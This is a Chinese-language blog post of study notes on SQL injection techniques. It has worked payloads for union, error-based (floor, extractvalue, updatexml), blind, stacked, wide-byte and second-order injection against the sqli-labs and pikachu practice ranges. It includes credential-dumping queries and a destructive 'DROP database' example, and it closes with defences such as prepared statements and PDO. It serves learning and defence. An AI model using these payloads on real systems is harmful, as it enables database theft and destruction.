常见web漏洞学习之sql注入学习


常见web漏洞学习之sql注入学习

类型划分

以注入类型划分

数字型注入

字符型注入

搜索型注入

宽字节注入

Base64变形注入

以提交方式分类

GET注入

POST注入

Cookie注入

HTTP头注入(XFF注入、UA注入、REFERER注入)

以获取信息的方式分类

联合注入

报错注入

布尔盲注

时间盲注

堆查询注入

判断是否存在注入点及其类型

判断是否存在注入

可以使用单引号,双引号,单括号,双括号判断是否报错,报错的话可能存在sql注入

判断是否为数字型

and 1=1页面正常and 1=2页面错误,则为数字型注入

原理:select * from 表 where id=x

因为如果是数字型注入的话and 1=2逻辑为假,会返回错误

判断是否为字符型

'and '1'='1 页面正常,'and '1'='2页面错误,则为字符型

原理:select * from 表 where id='参数'

这里的sql语句相当于select * from 表名 where id='参数'and '1'='1'因为这里的参数是字符类型,而这样构造sql语句正好是字符类型

两者最大的区别就是字符型需要单引号来闭合,而数字型不需要

判断是否为搜索型

根据%' and 1=1 and '%'='(相当于and 1=1)与%' and 1=2 and '%'='的回显进行判断

原理:select * from 表 where username like '%$name%'

相当于select * from 表 where username like '%$name%' and 1=1 and '%'='%'

pikachu靶场较详细的实例pikachu-搜索型注入 #手工注入

**PS:**字符型和搜索型注入可能需要注释符对'%'进行注释,如上面的判断字符型注入的语句可以修改为' and 1=1 # ' and 1=2 #来进行判断,而这里的#就是对sql语句后面的'进行注释,同理搜索型也一样

易出现SQL注入的功能点

凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

根据特殊表判断数据库类型

目前接触的大部分都是MySQL,绝大多数的数据库的SQL语句都类似,但是当遇到其他类型的数据库时还是要通过特殊表来分辨数据库类型

判断数据库

不同数据库的特殊表

MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual

判断语句:

1
2
3
4
5
6
7
8
9
10
11
//判断是否是 Mysql数据库
http://xxx/?id=1' and exists(select*from information_schema.tables) #

//判断是否是 access数据库
http://xxx/?id=1' and exists(select*from msysobjects) #

//判断是否是 Sqlserver数据库
http://xxx/?id=1' and exists(select*from sysobjects) #

//判断是否是Oracle数据库
http://xxx/?id=1' and (select count(*) from dual)>0 #

对于MySQL数据库,information_schema数据库中的表是一个视图,都是只读的,不能进行增删改的操作

information_schema数据库是MySQL5.0以上才有

information_schema表中三个重要的表:

  • information_schema.schemata该表存储了所有的库名
  • information_schema.tables该表存储了所有的表名
  • information_schema.columns该表存储了所有的列名

0x01 union联合注入

利用场景

适用于页面有显示列的注入

首先进行的是判断是否存在注入和确定其注入类型,然后根据注入类型依次进行列数判断、可显列、查库,查表、查列、查数据

以下以字符型注入为例(sqli-labs靶场):

列数判断

1
xxx/?id=1' order by x #

可显列

1
xxx/id=1' union select 1,2,3,...x #

对于没有可显列的问题,是因为页面只显示一行数据,可以使用形如id=-1来进行注释或是and 1=2对前面的条件进行否定

查库

先来了解一些常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
·  version() :数据库的版本

· database() :当前所在的数据库

· @@basedir : 数据库的安装目录

· @@datadir : 数据库文件的存放目录

· user() : 数据库的用户

· current_user() : 当前用户名

· system_user() : 系统用户名

· session_user() :连接到数据库的用户名
1
xxx/id=1' union select 1,database(),system_user() --+

image-20210509112349669

查表

已知数据库security查表

1
xxx/id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

group_concat(username) :将username数据查询在一起,用逗号连接

information_schema.tables表中记录了所有的表名

table_schema列记录了所有数据库的库名

image-20210509115335643

image-20210509115550488

查列

1
xxx/id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

information_schema.columns表中记录了所有的列名

table_name列中记录了所有的表名

image-20210509122157896

查数据

1
xxx/id=1' union select 1,group_concat(id,'---',username,'---',password),3 from users --+

image-20210509122715852

0x02 报错注入

利用场景

数据库查询的返回结果并没有在页面中显示,但是会显示数据库的报错信息(也就是union注入没有显示列)

原理

数据库查询的返回结果并没有在页面中显示,但是会显示数据库的报错信息。可以通过构造数据库报错语句,从报错信息中获取到想要的内容

一、floor报错注入

利用count()rand()floor()group by函数结合在一起产生的注入,缺一不可

关键函数学习

rand()是随机函数

通过一个固定的随机数0之后,可以形成固定的伪随机序列(就是rand(0)产生的数据是可预知的)

floor()是取整函数

floor(rand(0)*2)就是对rand(0)产生的随机序列乘2之后取整,结果也是固定的

group by是分组函数,将相同的数据分为一组
count(*)是统计结果的行数

image-20210509183416177

形如:

1
2
3
4
5
6
7
8
9
10
xxx/?id=-1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

//分解来看
concat(user(),floor(rand(0)*2))x起了个别名,也就是相当于concat(user(),floor(rand(0)*2))=x
ps:这里的user()是要查询的函数

同理(select count(*),x from information_schema.tables group by x)=a

也就是select 1 from a

详细原理分析:

Mysql报错注入之floor(rand(0)*2)报错原理探究

以sqli-labs中less6为例

union注入不会回显列信息,故使用报错注入

image-20210509204534799

查数据库

1
2
3
4
5
6
xxx/?id=1"and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

database()的位置可以嵌套sql语句进行查询

//也可以通过information_schema.schemata表中的schema_name列查库
(select schema_name from information_schema.schemata limit 0,1)

image-20210509205248015

security后面的1是floor(rand(0)*2)产生的数字1

查表

1
2
3
4
5
(select table_name from information_schema.tables where table_schema="security" limit 0,1)
//这样查询的结果是只会显示一个字段,不加`limit 0,1`又会报错`Subquery returns more than 1 row`

解决办法:使用group_concat()函数查出所有内容
(select group_concat(table_name) from information_schema.tables where table_schema="security")

table_name

group_concat(table_name)

查列,查数据

image-20210510090611516

但是在查数据时会遇见一个奇怪的问题,使用*group_concat()*也出不来数据

group_concat(id,username,password)

floor()报错注入

二、extractvalue报错注入

MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数

格式

extractvalue(xml_document,xpath_string)

XML_document 是 String 格式,为 XML 文档对象的名称

XPath_string (Xpath 格式的字符串)

作用

从目标XML中返回包含所查询值的字符串(返回结果限制在32位字符)

1
2
3
4
5
6
7
8
9
and extractvalue(1,concat(0x7e,user(),0x7e))
0x7e~的ASCII码

//user()换成其他payload

//查表
(select group_concat(table_name) from information_schema.tables where table_schema="security")


查库查表正常进行就行

有意思的来了

截取字符串

当查列的时候会因为超过最大限度32位只会显示部分数据

1
2
?id=1"
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e))--+

image-20210510100413545

这里要进行截取字符串

三大法宝:mid(),substr(),left

mid(column_name,start,length)

column_name就是要截取的字段

start就是开始位置

length是要截取的长度,省略的话会返回剩余字符

1
2
3
//截取32位起的字符
mid((select group_concat(column_name) from information_schema.columns where table_name="users")32,32)
//同理passwor后面的也可以截取

image-20210510102356419

substr使用同mid()

left那必定有right

1
2
left(string,n)截取string字符串左起的n个字符
right同理

查数据,同样要进行截取

image-20210510110558424

三、updatexml报错注入

对比extractvalue报错注入

格式

updatexml (XML_document, XPath_string, new_value)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

作用

改变文档中符合条件的节点的值

基本形式

1
and updatexml (1,concat(0x7e,payload,0x7e),1)

其余操作同extractvalue

image-20210623192032232

其他报错注入

geometrycollection()``multipoint(),polygon(),multipolygon(),exp()等等就不展开叙述了,可以百度了解更多

0x03 盲注

利用场景

页面连错误信息都没有回显,通过盲注来验证sql语句是否执行

原理

布尔盲注:页面只返回true,false两种类型的页面,利用页面的返回不同,逐个猜解数据

时间盲注:通过sleep()函数判断页面相应时间

用到的函数:ascii()、substr() 、length(),exists()、concat()

布尔盲注

原理是使用了二分法来进行数据库长度、数据库名等的猜解

就是从数据库到表,再到字段,最后到数据,依次使用length函数进行长度和使用substr函数根据字符的ASCII值进行猜解

了解了原理后直接使用sqlmap工具会极大提高效率

时间盲注

利用sleep()函数使得页面回显速度明显变慢,则存在时间盲注

0x04 堆叠注入

原理

sql中一个分号(;)表示一条sql语句的结束,而堆叠注入就是在结束 一个sql语句后继续构造下一个语句

对比union联合注入

union可以执行的语句类型是有限的,只可以用来执行查询语句

堆叠注入可以执行的是任意的语句

例:输入root’;DROP database user;实际执行的是select * from user where name=’root’;DROP database user;

局限性

受到API或数据库引擎不支持或是权限等原因的限制

在查询数据时,通常只返回一个查询结果,因此堆叠注入的第二个语句产生的结果或者错误就会被忽略,在前端界面也看不到返回的结果

因此在查询、读取数据时使用union进行联合查询,而且在堆叠注入前也是需要知道一些数据库的相关信息

例less-38

经测试是字符型注入,使用--+进行过滤

查出users表中的数据

image-20210623132157796

使用堆叠注入进行数据修改

1
insert into users(id,username,password) values ('99','newusername','newpassword')

0x05 宽字节注入

原理

宽字节注入示由于不同编码中中文所占的字符长度不同,在gbk编码中,一个汉字占两个字节,而在utf-8中,一个汉字占三个字节

首先学习几个php中对sql注入过滤的函数:

addslashes() 在预定义字符之前添加反斜杠\进行转义,但是并不会插入到数据库中

(预定义字符:单引号,双引号,反斜杠,NULL)

mysql_real_escape_string() 转义sql语句中的特殊符号:x00 、\n 、\r 、\ 、‘ 、“ 、x1a

魔术引号:将预定义字符加上反斜杠\进行转义,作用同addslashes(),所以这两个打开一个即可。魔术引号有以下三个

magic_quotes_gps() 默认为on (php5.4.0以上已经被移除)

magic_quotes_runtime() 默认为off

magic_quotes_sybase() 默认为off

因为这些函数会加反斜杠\进行字符转义,所以要使用宽字节进行绕过

宽字节注入利用的是mysql的一个特性,当mysql在使用gbk编码时,会认为两个字符是一个汉字,而前提就是第一个字符的ASCII值要大于128,才是认为是汉字

1%df\'中\会被url编码成%25df%5C%27其中的%25df%5C会被当做汉字来处理,从而%27逃脱出来,然后就发生了报错

又因为只需要输入的数据ASCII大于128才会被认为两个字符是一个汉字,所以输入的数据大于等于%81即可使’逃脱出来

例less-32

image-20210623170134200

会发现单引号,双引号均会被转义前面加了反斜杠\

使用宽字节进行绕过

image-20210623172114654

然后配合联合查询进行注入

还需要注意的是因为双引号被过滤,所以要对字符串"security""users"十六进制转换security16进制转码为7365637572697479users转换为7573657273,最后还要加上**0x**

修复

mysql_real_escape_string()函数之前设置字符集

当将addslashe()替换为mysql_real_escape_string()函数后,如果没有指定php连接mysql的字符集,也就是没有在执行sql语句前调用mysql_set_charset函数设置当前连接的字符集为gbk mysql_set_charset=(‘gbk’,$conn),就会导致宽字节注入

而修复方法就是在调用mysql_real_escape_string()之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn)

character_set_client 设置为binary(二进制)

需要在所有的sql语句前指定连接的形式是binary二进制:

1
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);

因为mysql收到客户端请求的数据时,会认为收到的编码格式是character_set_client对应的编码,然后会转换为character_set_connection对应的编码,当进入表查询字段的信息时又会转换为字段所对应的编码,而在产生查询结果后又会从字段对应的编码转换为character_set_results的编码形式,最后返回给客户端

所以只要在一开始将character_set_client的编码设置为二进制,就可使得所有数据是以二进制形式传递,不存在宽字节注入

0x06 二次注入

原理

二次注入,就是攻击者第一次向服务端发送请求时会将恶意构造的数据存储到数据库中,然后在第二次进行不同的请求,服务端收到请求后会在数据库中查询处理已经储存的信息,从而导致第一次请求构造的恶意数据(sql语句或命令)在服务端运行

可以概括为两步:

插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据

引用恶意数据

数据已经存储在数据库中了,而且已经存储的数据默认是安全的。在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理

img

less-24

登录界面并不存在注入,先注册一个账号root'#密码为root

image-20210623193305758

可见成功注册

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}

可见登录界面的usernamepassword均被mysql_real_escape_string函数进行转义,但是由于转义后加上的反斜杠\并不会被写入数据库中,所以还是可以成功注册root'#账号

使用root'#进行登录

由于原本的数据库中不存在root的账号,所以注册root'#没有用,还是对二次注入的理解不到位

这里重新注册一个admin'#的账号,进行登录,将admin'#密码修改为090909

image-20210623195152806

结果发现反而是admin的密码被修改了,而admin'#则没有被修改

pass_change中有这样的sql更新语句

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当使用admin'#进行修改密码时,这里的username='$username'就会变为username='admin'#'#会将后面的单引号注释了,所以就直接变成了admin用户

预防

预编译

1
2
3
4
String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题

采用了PreparedStatement预编译,就会将SQL语句:”select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了

即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数

PDO

PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO

可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle

PDO对于解决SQL注入的原理也是基于预编译

正则表达式过滤

对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤

其他

· Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库

· 设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。

· 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查

· 使用 Web 应用防火墙

后话

这几种类型是主要的,其实还要一些其他的注入类型,如正则匹配、user-agent注入、cookie注入还有比较特殊的万能密码```or1=`1``、异或注入等等,而且手注大部分面向的是mysql,对于oracle、mssql等数据库接触的比较少,并且对sqlmap工具的使用也停留在最简单的阶段,总之还有很多很多需要学习的地方

参考文章:

SQL注入漏洞详解

【最全干货】SQL注入大合集

Sqli-labs 堆叠注入篇 (Less38~53)

SQL注入-堆叠注入(堆查询注入)

sqli-labs学习笔记(十一)less 32-37 宽字节注入

SQL注入防御绕过——二次注入

国光的安全随笔记录


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录